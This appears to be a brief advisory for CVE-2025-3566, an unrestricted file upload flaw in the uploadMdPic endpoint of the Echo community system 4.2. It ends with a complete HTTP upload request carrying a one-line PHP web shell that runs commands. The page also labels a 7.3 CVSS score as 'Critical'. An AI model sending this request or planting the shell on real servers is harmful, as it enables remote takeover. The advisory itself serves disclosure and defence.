Overview
CVE-2025-3566 is a critical vulnerability in veal98 小牛肉 Echo 开源社区系统 version 4.2. This vulnerability allows remote attackers to upload unrestricted files, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-3566
Severity: Critical (7.3 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Product | Affected Versions
veal98 小牛肉 Echo 开源社区系统 | 4.2
How the Exploit Works
The vulnerability resides in the function uploadMdPic of the file /discuss/uploadMdPic. The manipulation of the argument ‘editormd-image-file’ allows for unrestricted file upload. Since the system does not properly validate or sanitize the uploaded files, an attacker could upload a malicious file to the server.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /discuss/uploadMdPic HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="editormd-image-file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
In this example, an attacker sends a POST request to the vulnerable endpoint with a malicious PHP script. Once uploaded, this script could allow the attacker to execute arbitrary system commands.
